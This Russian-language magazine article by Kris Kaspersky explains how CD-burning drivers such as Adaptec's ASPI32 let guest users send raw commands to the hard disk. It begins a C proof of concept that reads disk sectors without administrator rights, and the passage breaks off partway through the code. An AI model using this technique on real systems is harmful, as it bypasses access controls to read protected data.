Инструктаж перед боем Крис Касперски Спецвыпуск: Хакер, номер #058, стр. 058-018-5 Проектирование драйверов и привилегированных служб требует большого внимания и тщательной подготовки. Любой такой драйвер - это потенциальная дыра в системе безопасности. Перед выполнением каждого "серьезного" действия требуется провести целый ряд проверок на предмет выяснения, имеет ли пользователь право делать это. В частности, программы для прожига лазерных дисков устанавливают драйверы, позволяющие отправить SCSI/ATAPI-команды с прикладного уровня. Проверка типа устройства обычно отсутствует или реализована некорректно, что позволяет управлять жестким диском даже с гостевыми привилегиями! Этим, в частности, славится популярный ASPI32-драйвер от компании Adaptec (впрочем, в последних версиях эта ошибка была исправлена). Во врезке приведена программа, позволяющая читать секторы с жесткого диска через ASPI32. /*---------------------------------------------------------------------------- * * ЧТЕНИЕ СЕКТОРА С ЖЕСТКОГО ДИСКА * =============================== * * build 0x001 @ 29.05.2003 ----------------------------------------------------------------------------*/ #include <windows.h> #include <stdio.h> #include "scsidefs.h" #include "wnaspi32.h" void ASPI32Post (LPVOID); #define F_NAME "sector.dat" /* ASPI SRB packet length */ #define ASPI_SRB_LEN 0x100 #define READ_CMD 0xA8 #define PACKET_LEN 512 #define MY_CMD READ_CMD HANDLE hEvent; //-[DWORD READ_SECTOR]--------------------------------------------- // ARG: // adapter_id - номер шины (0 - primary, 1 - secondary) // read_id - номер устройства на шине (0 - master, 1 - slaeyer) // buf - буфер, куда читать // buf_len - размер буфера в байтах // StartSector - с какого сектора читать, считая от нуля // N_SECTOR - сколько секторов читать \ // // RET: // - ничего не возвращает // // NOTE: // - функция возвращает управление до завершения выполнения запроса, // поэтому на момент выхода из нее содержимое буфера с данными еще // пусто и реально он заполняется только при вызове функции // ASPI32Post (можешь модифицировать ее по своему усмотрению) // для сигнализации о завершении операции рекомендуется использовать // события (Event) // // - функция работает и под 9x/ME/NT/W2K/XP и _не_ требует для себя прав // администратора. Однако ASPI-драйвер должен быть установлен //----------------------------------------------------------------------------- READ_SECTOR(int adapter_id,int read_id,char *buf,int buf_len, int StartSector,int N_SECTOR) { PSRB_ExecSCSICmd SRB; DWORD ASPI32Status; // выделяем память для SRB-запроса SRB = malloc(ASPI_SRB_LEN); memset(SRB, 0, ASPI_SRB_LEN); |